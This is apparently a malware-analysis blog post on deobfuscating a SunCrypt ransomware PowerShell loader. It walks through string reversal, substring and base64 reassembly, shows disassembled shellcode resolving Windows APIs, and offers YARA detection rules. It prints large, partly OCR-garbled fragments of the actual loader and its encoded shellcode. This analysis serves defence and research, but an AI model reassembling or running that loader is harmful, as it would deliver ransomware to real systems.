SunCrypt, PowerShell obfuscation, shellcode and more yara

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This didn't start as a blog post. It started as a conversation with Hari Charan @grep_security about something they were looking at called SunCrypt ransomware.

Looking up the name I ran across a couple of interesting blog post, one by Sapphire <u>here</u> and one by Acronis <u>here</u>. Seeing that this was obfuscated PowerShell it peaked my interest.

Searching for some samples to work with also revealed that you can do a tag search on tri.age of "family: suncrypt" (without the space)

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The PowerShell loader we are going to use here is the one from the Acronis blog post with a hash of MD5: d87fcd8d2bf450b0056a151e9a116f72. There are multiple copies on <u>https://app.any.run/submissions/</u> for that hash. There are 3 copies on Tri.age <u>here</u>.

Hari Charan @grep_security also pointed me to a couple of open source yara rules to search for the PowerShell loaders.

This one appears as though it will search for the ransomware binary <u>here</u> and this one will search for the PowerShell script <u>here</u>.

Let's take a look at some of the encoding.

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	PETEACA+3QAY58fxs0NEF/CILT35/dAEQa0XERIENEIEJEIEV#ANBOABRA0XERIENEIEJIIEV#ANBOAgx8GYBAACDxAarseoBFlAEAAAAavA+PVF7//4EFlmeOVTvsUVEFCIENCIEJEIIBIEPCIEABA+3AD1N#QAAdAQuv08/i0UIi0AEi00
	<pre>:lokgA0g8100110g1100110A1gThgRgAAdAgs6orDtLDVJgYPwxpb'.dubstring(16, 2000)</pre>
07423	
87424	<pre>@Punction MrvHEnPYxvNPFaulUtg8q() (</pre>
87425	return (([repex]::Natches)

	RJaGWapOSFIoTYma(XUIah)FloBeRJaGWomJFIoTYJiaCXUIahIMopdRJaGWapGFIoTYMaRDUIahIAoRdRJaGWomOFIoTYMaRDUIahIAoRdRJaGWomOFIoTYMaRDUIahIAoRdRJaGWomOFIoTYMaRDUIahIAoRdRJaGWomOFIoTYMaRDUIahIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJaGWomOFIoTYMARDUIAhIAoRdRJAGWomOFIoTYMARDUIAhIAoRdRJAGWomOFIoTYMARDUIAhIAoRdRJAGWomOFIoTYMARDUIAhIAoRdRJAGWomOFIoTYMARDUIAhIAORdRJAGWomOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAhIAORdRJAGWOMOFIOTYMARDUIAHIAORD
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01440	Anulus a farmer and farmer a second of
87429	
87430	<pre>[Byte[] \$PDpGtHbMfBYyydUPtnJpo = [System.Convert]::FromBase64String((-join(\$uqGLGObOtOpLlAjnorOyj,\$qdKZNMeMIfBzVotiCTJja,\$CaWvFCXjlWtBFZKHyhJDI)))</pre>
87431	

If we look at this part it takes 3 values , assembles them , then it base64 decodes to byte.

But it will also do something to the strings before it reassembles them.



We can see the first string is redirected to a function that will read right to left , basically just reverse the string.

87420	<pre>\$uqGLGObOtOpLlAjnorOyj = XhugwJBDOzIVNXcLVIQYZ</pre>
87421	
87422	SqdKZNMeMIfBzVotiCTJja -
	'XtYGkDGqHUADsqtlwG/GRcFkxkXCdcZFw2zGRcRlxkXFSMZFxmHGRcduxkXIZMZFyWzGRcplxkXLQcZFzADGRdBWxkXRacZF0nLGRdN0x
	obggAAFD/VQiJReRgAP9V7FmJRfiDffgAdQczwOm8AAAAi0X4iUXoi0Xoi034A0g8iU3wakBoADAAAItF8ItAUEBQagD/VeSDxBCJRfyDf
	EDIXAdQQzwotNi0X8K0X4iUXg/3Xg/3X86Pn6//9ZWYXAdQQzwosvi0UQi038iUgYi0UUK0X4iUX0i0X0A0X8iUX0i0UUULtFDFCLRRhQi
	GReb0xkXrZcZF7GPGRe10xkXuAI1F4FDoSAcAAFD/VQiJRfyNRfBQakCLRRCLQAj/cFCLRRD/cCD/VfyDxBCFwHUEM8DrMGShMAAAAI1F+
	JIDTINHUFM8BA6zmLRQiLQAhqCFlryQWDfAh8AHUEM8DrIotFCItACItNCItJICtINIlN/P91/ItFCP9wI0jG+f//WVnJw1WL7IHskAAAA
	F+GzGRfkAxkXqVsZF4WnGReJyxkXidMZF5HXGReVhxkXmbMZF51HGReh1xkXpZcZF6nLGRet5xkXsAMZF0FbGRdFpxkXScsZF03TGRdR1x
	GRcJyxkXDZcZFxG7GRcV0xkXGUMZFx3LGRchvxkXJY8ZFymXGRctzxkXMc8ZFzQDGRaRaxkW1d8ZFp1XGRaduxkWobcZFgWHGRapwxkWrV
	Q6EMFAABQ/1UIiUWQjUXQUOqzBQAAUP9VCIlFnIfvFDoIwUAAFD/VQiJRYyNRaRQjUXwUP9VDFD/VQiJRaCLRRCLQBiJRfxqHI2FcP///
	Qi0AIi0A000X8cz6DfaAAdDiLRRD/cBj/VYxQ/1WghcB1J20EaAAwAACLRRCLQAiLQFBAUItFEItACP9wNP9VnIPEEItNEIlBIGOEaAAwA
	8CHwAdRGLRRCLQAiLTRCLQDSJOSDrIGOE&AAwAACLRRCLQAiLQFBAUGoA/1Wcg8QQi0000iUEgi0UQg3ggAHUF6ZgAAACLRRCLQAi/cFSLR
	FEITACA+3QAY5Rfxz0WtF/CiLTZj/dAEQa0X8KItNEItJEItVmANMAhRRa0X8KItNEItJIItVmANMAgxR6GYBAACDxAzrscdFlaEAAAAzw
	Ii0kQA0q8i0UIiUqIi0UIi0AIqThQRQAAdAQzGoYDtLDVJQYPwxpb'. Substring(16, 2000)
87423	
87424	- Function MrvBEnPYxvNPFaulUtQSg() {
87425	return (([regex]::Matches(
	'==wwJzerLi464XUiAsI+FtoCrzerJiBQLyfrLuAdAXYWZ9//9XL6Q9//9TchNCF0F14//3PxFxYiml8MoHN8FtIDEP4//3fNoD1//3PxF
	RJaGWspG5FloZYxmaiXUimhFZqBeRJaGWuom3FloZYJjacXUimh1MqpdRJaGWspG2FloZYVmaWXUimh1bqRdRJaGWypm0FloZYVmaQXUim
	fDaAdAX1+F57D00HwFyfR++gF1RfdJC/KA77DZ9//+DH64X3/w77DZ9//+zH68X3/MUUIABEDFt1+FhYAEoIDNtIAAvGQAPDCF1IQAhQRL

If we Look at the second string it is getting a substring of what is there starting at index 16 and taking 2000 characters.



The encoded string is actually 2032 characters long before we get the substring.

The final string is is just another reverse string.

Then we just have a long base 64 string after reassembling the pieces.



Remember we still have to convert this to byte and it will get loaded into memory using VirtualAlloc.



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00000090	47	C6	45	AD	65	C6	45	AE	74	C6	45	AF	50	C6	45	BO	GRE.eRE@tRE PRE°
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00000120	88	55	FC	03	14	81	89	55	E8	£Β	28	8D	45	BC	50	FF	< Uü tUèë (.E4Pÿ
00000130	75	E4	E8	C1	oc	00	00	59	59	85	CO	75	16	8B	45	F8	uäèAYYAu. <eø< td=""></eø<>
00000140	8B	4D	EO	OF	B7	04	41	8B	4D	DC	8B	55	FC	03	14	81	< Må A< MU< Uü
00000150	89	55	EC	83	7D	E8	00	OF	84	8C	00	00	00	83	7D	EC	%U1f}e,Ef}1
00000160	00	OF	84	82	00	00	00	8D	45	88	89	45	FO	6A	24	6A	,E%E0j\$j
00000170	00	FF	75	FO	E8	10	OB	00	00	83	C4	0C	33	C0	40	6B	.yuðefA.3A8k
00000180	CO	00	88	40	00	OF	86	04	01	Cl	EO	18	33	C9	41	Cl	A. (M
00000190	El	00	88	55	00	OF	86	00	0A	C1	El	10	08	C1	33	69	a.cuqAaA3E
00000140	41	DI	61	65	55	00		80	00	DA	00	21	08	08	01	33	ANACU
00000180	29	21	0.0	14	03	45	22	00	01	04	00	4D	50	01	41	10	AND OF ST AMEN
00000100	01	46	24	24	40	10	00	0.0	46	0.2	60		20	80		26	CARCE.JA.CHOMA.
00000120	50	10	56	03	10	00	83	24	10	20	50			20	33	~~~~	AAU 6% AADOORS
000001E0	20	C2	0.0	00	55	88	FC	83	FC	20	88	45	0.0	80	45	FR	ÉL ULIFI (F. FFA
00000200	88	45	ER	88	4D	08	03	48	30	89	4D	E4	65	08	58	6B	(FACM, HCEMAN, XK
00000210	co	05	88	4D	E4	88	55	08	03	54	01	78	89	55	F4	88	À. (MACU., T. XEUÓC
00000220	45	F4	83	78	04	00	OF	84	5E	01	00	00	88	45	F4	88	Eôfx^Eôc
00000230	4D	08	03	08	89	4D	F8	88	45	F4	88	40	04	83	E8	08	M thMax Eőx G. fè.
00000240	D1	E8	89	45	EC	88	45	F4	83	co	08	89	45	FC	88	45	NetEl(EOfA, tEu(E
00000250	EC	89	45	EO	88	45	EC	48	89	45	EC	83	7D	EO	00	OF	itEA(EiHtEif)à
00000260	84	14	01	00	00	8B	45	FC	66	8B	00	66	C1	E8	oc	66	Euf< .fÅè.f
00000270	83	EO	OF	OF	B7	CO	89	45	FO	83	7D	FO	01	74	78	83	fàÀhEðf)ð.txf
00000280	7D	FO	02	OF	84	AB	00	00	00	83	7D	FO	03	74	3B	83)8*f)8.t;f
00000290	7D	FO	0A	74	05	E9	D2	00	00	00	B 8	FF	OF	00	00	88)8.t.éô,ÿ<
000002A0	4D	FC	66	23	01	OF	B 7	CO	8B	4D	F8	8B	04	01	03	45	Müf#À <mø<e< td=""></mø<e<>
000002B0	oc	B9	FF	OF	00	00	8B	55	FC	66	23	0A	OF	B7	C9	8B	.*9 <uüf≢é<< td=""></uüf≢é<<>
																	-

Looking at the bytes in a hex editor we can not see anything that makes any sense.

The next step is to drop this into CyberChef <u>here</u> and view the assembly.

2.3	00000041	094254	NOA EVE DAORD ALK [EEE-OC]	
24	00000044	684DFC	MOV ECK, DWORD PTR [EER-04]	
25	00000047	03401C	ADD ECK, DWORD PTR [EAX+1C]	
2.6	0000004A	894DDC	MOV EWORD PTR [EEP-24], ECK	The second second second second second second second
27	00000040	0845F4	MOV EAX, DWORD PTR [EEP-OC]	Constraintendent/MOV/EntryPressee 100.02
28		6840FC	MOV ECK, DWORD PTR [EBP-04]	
2.9	00000053	034024	ADD BCH, DWORD PTR [EAX+24]	Decode Output to new line / Comma Delimited
30	00000056	894060	MOV EWORD PTR [ERE-20], ECK	hput
31	00000059	C645BC4C	MOV BYTE PTR [EBP-44],4C -> LoadLibraryA, GetProcAddress	00000050 C6458C4C MOV BYTE PTR JEBP 446.4C
32		C645BD6F	MOV BYTE PTR [EBP-43], 6P	DODDING CLAMEDAR WOV BYTE FTR [EBP-42] GF
33	00000061	C645BE61	MOV BYTE PTR [EBP-42],61	00000065 C6458F64 MOV BYTE PTR 88P-41 64
34	00000045	C645BF64	MCV BYTE 228 [EDD-411.64	0000006b C645C04C MOV EYTE PTR [E8P-40].4C
	00000069	C645C04C	MCV BYTE PTR [EBP-401.4C	0000000-CHASCHS MOV BYTE PTR (EEP-3/US) 00000011 CMACH2 MOV BYTE PTR (EEP-3/US)
36		C645C169	MCV BYTE PTR [EBP-3F1.69	0000001% CMMC372 MOV 8YTE PTR 88P-303 72
37		C645C262	MCV BYTE PTR [EBP-3E1.62	00000079 CMRC481 MOV 8YTE PTR (E8P-3C) 81 00000070 CMAC472 MOV 8YTE PTR (E8P-30) 72
3.0	00000075	C645C372	MOV BYTE PTR [EDP-301.72	00000001 C648C679 MOV BYTE PTH (E8P-3AL79
3.9	00000079	C645C461	MCV BYTE PTR [EDP-30].61	00000005 CBASC 241 MOV 8YTE FTR (IEP-38) 41
40		PE45P572	WW BYTE 010 (000-381.72	0000000 CM54C47 MOV BYTE PTR HBP-54L47
1.1		06450679	WW NVPP DPP (PDD-311 75	00000091 C645AD65 MOV BYTE FTR EEP-S1645
40		CC45/741	WW NYPP DYP (PDD-101 41	D0000095 CM/SAE14 NOV BYTE PTR (08P-52) 74 D0000096 CM/SAE50 MOV BYTE PTR (08P-51) 70
1.1	000000000	06450800	We have bee func-set of de Well bute	0000000 CMABD/2 MOV BYTE FTR EEP 40, 12
1.22		06451047	NOT BILL FIR [DOD-SAL AT	000000A1 CARSENGE MOV EYTE PTR IEEP-4FLGE
1.22	000000000	004530047	NOT BILD FIR [000-03],37	000000A8 C6456341 MOV BYTE PTR [E8P-40],41
1.6		064534074	NAV BILL FIR [100-03],00	DODDIDAD CEATERIES MOV EVEL PTR HEP-ACLES
1.25		0010000	NAV BILL FIN [DOC-04],15	00000065 C5456672 MOV BYTE PTR EBP-446.72
1.22	000000399	00438230	NOV BITE VIX [LID-51],50	00000089 C6458785 MOV BYTE PTR (E8P-45) 85
10		C6458072	NOV BITE PIK [KHP-S0],12	0000000C1CM08023 MOV 8YTE PTR 586-47.73
1.22	00000041	C645B16F	NOV BITE PTR [EDP-47], 67	
	ODDODDAS	C6458263	NOV BITE PTR [EDP-4E],63	Overvi
51	00000049	C645B341	MOV BITE PTR [EBP-4D],41	LoadLbraryA, GetProcAddress
52	ODGOOGAD	C645B464	MOV BITE PTR [EBP-4C],64	
53	00000081	C6458564	MOV BITE PTR [EBP-48],64	
54	00000085	C6458672	MOV BYTE PTR [RAD-4A],72	
	00000089	C6458765	MOV BYTE PTR [EBP-49],65	
5.6	00000080	C6458873	MOV BYTE PTR [EBD-40],73	
57		C645B973	MCV BYTE PTR [EBP-47],73	
5.0		C645BA00	MOV BYTE PTR [EBD-46],00 <- Null byte	
5.9	000000009	c745cc06000000	MOV EWORD PTR [RBP-34],00000006	
60		83658800	AND EWORD PTR [RBP-08],00000000	
61	00000004	EB07	342 00000000 986	
62	000000066	084520	MOV EAX, DWORD PTR [EBP-00]	
63	00000009	40	INC EAS	
64	00000008	894528	MOV EWORD PTR [EBE-08], EAX	
65	00000000	084594	MAY EAV DWORD STR (FEELAN)	

This is also where I hinted on Twitter of a "Somewhat useful tool" which will be on my Github.

If we look down further we see more API calls.

701	00000849	884594	MOV	EAX, DWOR	D PTP	LEBR-6C	1					
702	00000840	E91D030000	3342	-FFFFF49	2	OXFTTT	TTTT	00000868				
703	00000851	C645F06E	MOV	BYTE PTR	(ED)	-10],62	->	ntdll.dll,	VirtualQuery,	VirtualAlloc,	GetCurrentProcess,	ZwUnmapViewOfSection
704	00000855	C645F174	MOV	BYTE PTR	(EBF	-081.74						
705	00000859	C645F264	MOV	BYTE PTR	[EBI	-0E1,64						
706	00000850	C645F36C	MOV	BYTE PTR	(ED)	-0D],6C						
707	00000861	C645F46C	MOV	BYTE PTR	(EBF	-0c],6c						
708	00000865	C645F52E	MOV	BYTE PTR	(EBI	-081,28						
709	00000869	C645F664	MOV	BYTE PTR	[ED]	-0A],64						
710	00000860	C645F76C	MOV	BYTE PTR	(EDF	-09],6C						
711	00000871	C645F86C	MOV	BYTE PTR	[EBI	-081,6C						
712	00000875	C645F900	MOV	BYTE PTR	[EBI	-071,00	<-	Null byte				
713	00000879	C645E056	MOV	BYTE PTR	(EDF	-201,56		-				
714	00000870	C645E169	MOV	BYTE PTR	(EBI	-181,69						
715	00000881	C645E272	MOV	BYTE PTR	[EBI	-181,72						
716	00000885	C645E374	MOV	BYTE PTR	(RD)	-1D],74						
717	00000889	C645£475	MOV	BYTE PTR	(EBI	-1C],75						
718	00000880	C6458561	MOV	BYTE PTR	[EBI	-18],61						
719	00000891	C645266C	MOV	BYTE PTR	(ED)	-1A],6C						
720	00000895	C645£751	MOV	BYTE PTR	(EBI	-19],51						
721	00000899	C645£875	MOV	BYTE PTR	[EBI	-18],75						
722	00000890	C645E965	MOV	BYTE PTR	(ED)	-17],65						
723	000008A1	C645EA72	MOV	BYTE PTR	(EB)	-16],72						
724	000008A5	C645EB79	MOV	BYTE PTR	[EBI	-151,79						
725	00000889	C645EC00	MOV	BYTE PTR	CED5	-14],00	<-N	ull byte				
726	000008AD	C645D056	MOV	BYTE PTR	(ED)	-301,56						

And even further down we see a different type of string building using a "push pop". I have not made a tool for that yet.

1303	00000EE5	83c014	ADD EAX,00000014
1304	00000EE8	8945F4	MOV DWORD PTR [EBP-0C], EAX
1305	00000EEB	8B45F4	MOV EAX, DWORD PTR [EBP-0C]
1306	00000EEE	8800	MOV EAX, DWORD PTR [EAX]
1307	00000EF0	8945F8	MOV DWORD PTR [EBP-08], EAX
1308	00000EF3	6A6B	PUSH 0000006B -> kernel32.dll
1309	00000EF5	58	POP EAX
1310	00000EF6	668945D0	MOV WORD PTR [EBP-30], AX
1311	00000EFA	6A65	PUSH 00000065
1312	00000EFC	58	POP EAX
1313	00000EFD	668945D2	MOV WORD PTR [EBP-2E], AX
1314	00000F01	6A72	PUSH 00000072
1315	00000F03	58	POP EAX
1316	00000F04	668945D4	MOV WORD PTR [EBP-2C],AX
1317	00000F08	6A6E	PUSH 0000006E
1318	00000F0A	58	POP EAX
1319	00000F0B	668945D6	MOV WORD PTR [EBP-2A], AX
1320	00000F0F	6A65	PUSH 00000065
1321	00000F11	58	POP EAX
1322	00000F12	668945D8	MOV WORD PTR [EBP-28], AX
1323	00000F16	6A6C	PUSH 0000006C
1324	00000F18	58	POP EAX
1325	00000F19	668945DA	MOV WORD PTR [EBP-26], AX
1326	00000F1D	6A33	PUSH 00000033
1327	00000F1F	58	POP EAX
1328	00000F20	668945DC	MOV WORD PTR [EBP-24], AX
1329	00000F24	6A32	PUSH_00000032
1330	00000F26	58	POP EAX
1331	00000F27	668945DE	MOV WORD PTR [EBP-22], AX
1332	00000F2B	6A2E	PUSH 0000002E
1333	00000F2D	58	POP EAX

Although doing this statically we can not tell for sure how this is used it can give some clues as to what it will be doing by the API calls.

What started all of this was when I was trying to write a yara rule to find more samples to test this tool with and look for any outliers that would break it or not be what I was looking for.

```
rule CyberChef_Asm_MOV_BYTE_PTR_BuildStr {
           meta:
               description = "Search to find Shellcode that produces strings using Move Byte poiter"
3
               author = "David Ledbetter @Ledtech3"
4
5
6
            strings:
7
               $cmdStr = {C645????C645????C645????C645}
8
9
            condition:
                ScmdStr
11
12 }
```

I'm still learning yara and this version just looked for the format of the "MOV BYTE PTR".

I ended up with over 552 hits for this and many false positives. I knew I need to find something to rule out some of the values that did not return strings or would return either encoded or garbage looking strings.

After several hours of trial and error I ended up with this.

```
rule byte_Array_MOV_BYTE_PTR_BuildStr (
           meta:
               description = "Search to find Shellcode that produces strings using Move Byte Pointer"
3
4
               author = "David Ledbetter @Ledtech3"
           strings:
 6
               $cmdStr = {C645????C645????C645????C645????C645?
 7
8
               cmdCCCC = (CCC645)
9
               cmdXXFD = (C645??FD)
               $cmdxxDL = (8855??C645)
           condition:
12
               ScmdStr and not $cmdCCCC and not $cmdXXFD and not $cmdxxDL
14
   •
```

That reduced it down to 214 hits. It ended up being shellcode and binary samples that used that format. I'm sure there are a few more samples in that mix that would be false positives but it was good enough for what I wanted.

After going thru that exercise I was wanting to try and find a way to let the obfuscated PowerShell self decode. So I started by looking for a way to just let it reassemble the base64 string and then write that to a file.



The template part is the path variable and the pipe out to file. But you have to remember to remove the "[Byte[]]" part and the "[System.Convert]::FromBase64String" from each one you wanted to rebuild and just dump to a text file for further processing of the base64 string.

So I then went back and searched for how to just output to a binary file since that is what we ultimately wanted anyway.

4	return (([regex]::Matches(
	'F2cT/Wkx05bRGXWvF28R8WkxEx+gsvYVDmMwzIw6AB8MFMHNQ1DURNA/VtI+htICAtIEFtYGyxfR7QDQLiAQLCRRLmy6APDB0BAAFBF0BifRLifTJyDsDwfTLCfRLcfRJyfRLq06APDB1BA/9NI
	weRGH06FZcZqXkxsleRGTG6FZsbnXkxhZeRGjU5FZcZkXkxsNeRGXn4FZHZhXkxvBeRG303FZMdeXkxlldRGfE3FZMJsPI7LN1wJDeRL+//+nahPA0MAAABAeRHfQdavefD+//+jd68XU1UA0g8
	FrDAAAEA7FdcClBAODCfRLGQiw30iIU1/4x3/QBEQIX0iI3UiIMAENt19FtYLrjQio30iwX0io3UiIMA+Nt16Ft16F1YgE0IEctC5VtIAA8//lawi0X0icg0A430ikX0ikXVi4FAVDgfVLycTLCA
	CAAAGCALSERLCAAAKKhPAAODSERLSETJIWAQOO18X011s09F118FtIC1BAODyERLCETJCBSDARTLyERLCAAAce6AAAABweRHzQdAgfEDiERJyQV/Tdd/TdTJyASDARTLyERLCAABERhPAA79N1AA
	EVtI2NtIAgHNWIGG2NIIPINAENtI3FtI3FtI3FtI8FtIAsX2gAAe2D1D7Dy+1VNcyAB0M//v/VmO9N11BINA9NtI9Ft4//7f1pzfRJCEQ0X01KQQ1mhfVLm0tPowImxfVLCAAP0fuBPgAEc7D4X11Jf7
	rABJaG+VEYy3+gCjYG/VEIAA8w/SG8ACQwEPgIVL88EPAAA//E4BCR68zQ2LC8EPEwImxTTLCAAP8PuleuCRE+VEYy3+gCjYG/VEIAA8w/SyQRDEABL1TLC8EPEwImxTTLCAAP8PuAAAA1muCE
	TLCE PEVINHTLCAPS PUAAAASneBOpAS 9N400NNB 9NIAAAAgt + gav 33g4KKAW 33g4KKUAF / DPA+gmXAEBEGALAG/ FE LAAEAFE + AAg 33g3KUI I X0LLC0RJ90NL9FL3AWDSFRL90NJ601g+gIX0
	AVIAVIATAVDQVLSETIAMMETECOMETSYDSUQTILERLIENJQLCCTUPTYTENCEMENTETTISSICAUGUTYTISVLNUJENAQUTRLENGCTTSANDYQLISECUTTUSSENUTUPQVLSQT PAVIANTI Studi Studi Standard V Standard Standard Standard Standard Standard Standard Standard Standard Standard
	VIET 1410 & ADD TRADUCTION TO ADD TRADUCTION AND ADD TRADUCTION AND ADD TRADUCTION AND ADD TRADUCTION ADD TRADU
	xF2ceGXkxvVcRGHgxF2scDXkxiJcRGnWvF2MTAXkxk9bRGHmvF28b9WkMxkRGDeTJ8CSDwfTL8fRLvdTJVBSDwfTL8fRL8fVJ1XAUNA/VtIONtIAavGWIoGONIJPINA/NtIIFtIFI/FtI/FII
	,'.','RightToLeft') ForEach (\$.value)) -join '')
5	
6	L)
7	<pre>\$ugGLGObOtOpLlAjnorOyj = XhugwJBD0zIVNKcLVIQYZ</pre>
9	SovikZBMoMI FREVoti (72.13) =
	*XtYGkDGgHUADsgtlwG/GRcFkxkXCdcZFw2zGRcR1xkXF8MZFxmHGRcduxkXIZMZFyWzGRcp1xkXLQcZFzADGRdBWxkXRacZF0nLGRdN0xkXUdcZF1WHGRdZsxkXXQcZF2GzGRd1sxkXab8ZF22P
	ggAAFD/VQiJReRqAP9V7FmJRfiDffgAdqczw0mBAAAAi0X4iUXoi0Xoi034A0g8iU3wakBoADAAAItF8ItAUEBqagD/VeSDxBCJRfyDffwAdqczw0mDAAAAi0Uqi038iUqci0Xw/3Bq/3X4/3X86
	Ad Q g zwo z Ni 0 X8 K 0 X 4 i U X g / 3 X g / 3 X 8 6 P n 6 / / 9 z W X Ad Q g z wo z v i 0 U g i 0 3 8 i U g v i 0 U U K 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 i 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 A 0 X 8 i U X 0 I 0 X 0 X 0 X 0 X 0 X 0 X 0 X 0 X 0
	XXISc2F7GGGRs10xXXuAI1F4FDosKcAAFD/VQ1JRfyNRfBQskCLRCLQAj/cFCLRD/cCb/VfyDxBCFwHUENSDrMSShNAAAAI1F+ItF+ItNEItJIIICItFEItACItNEItJIANINI1N9ItF99/Qz
	WISBACTELROILQANGCFITYQWDTANGANGNHUENDDTIGFCITACITECTJCCINCIFTICFCP9VIOG647/WVDJVWL7IBEKRAAAINIIACDZAAAGJOQHUUIOWOORDAADGRIGUUKXXXXXXFTTYTTYTTYT
	KAY # 2 * WINWN YXA JOR 2 JINWY IXADDR 2 JINWR IXADDR 2 JINWR IXAD C 2 FUNKTUR XXAP C 2 FUN
	TWO INFO CONTRACTORY AND A STREAM AND A ST
	DfaAaddiLRRD/cBj/VYxQ/WghcBlJ20KaAAwAACLRRCLQAILQFDAUIEFEItACP9wNP9VnIPEEIENEIBIG0EAAwAACLRRCLQAILQFDAUIEFEItACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEItACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9wNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAwAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILQFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAUIEFEITACP9WNP9VnIPEEIENEIBIGEAAWAACLRRCLQAILGFDAU
	$\label{eq:relocation} Rcl_QSD_gSD_rIGoEaAawAACLRRCL_QAil_QFBAUGoA/1Wcg8QQi00QiUEgi0UQg3ggAHUF6ZgAAACLRRCL_QAj/cFSLRRD/cCDc0AEAAIPEDitFEitACItnEitJCA+3SRSNRAgYiUWYg2XSA$
	F/CILTZj/dAEQm0X0KItNEItJEItVmANMAhRRa0X0KItNEItJIItVmANMAgxR6GYBAACDxAzrscdFlAEAAAAzwA+FVP7//4tFlMnDVYvsUYtFCItNCItJEIlIBItFCItABA+3AD1NWgAAdAqzwOs.
	OAIgthQRQAAdAgzGoYDtLDVJQYPwxpb'.Substring(16, 2000)
10	Punction MryBEnPYxwNPFaulitiong() (
12	return (([regex]::Matches(
	*==wwJzeRLi464XUiAsI+FtoCrzeRJiBQLyfRLuAdAXYWZ9//9XL6Q9//9TchNCF0P14//3PxFxYim18MoHN8FtIDEP4//3fNoD1//3PxF2IKw9P/Ft1819P8F1IJAd7D8X0iSRHwFSCQ3+A/FtI
	aGWspG5FloZYxmaiXUimhFzqBeRJaGWuom3FloZYJjacXUimh1MqpdRJaGWspG2FloZYYmaWXUimh1bqRdRJaGWypm0FloZYVmaQXUimh1aqhfRJCwi0X0i0XUiUA8gMA0iMX0iMXUiAAAAwEKZ/
	dAXI+F57DOQBwFyfR++gF1RfdJC/KA77DZ9//+DH64X3/w77DZ9//+zH60X3/MUUiABEDFtI+FhYAEoIDNtIAAvGQAPDCF1IQAbQRLyfRIGABKiQTLCAwrBEwzARRJiEEFtoVNw+gsvYVDnsX0X0
	+cw//v/hjo+1998++cw//v/tjo/199DFlIQMU014XE1AoIDFtICFlIQIU018XE1AoICFtoVM+tgevYVDnMBIhQRLCbdXXIDEPIAAAAaojqd/zqd/Dfd/Xcdlwj/MS7D/XkvPry6ApDB1Bch/XkvP
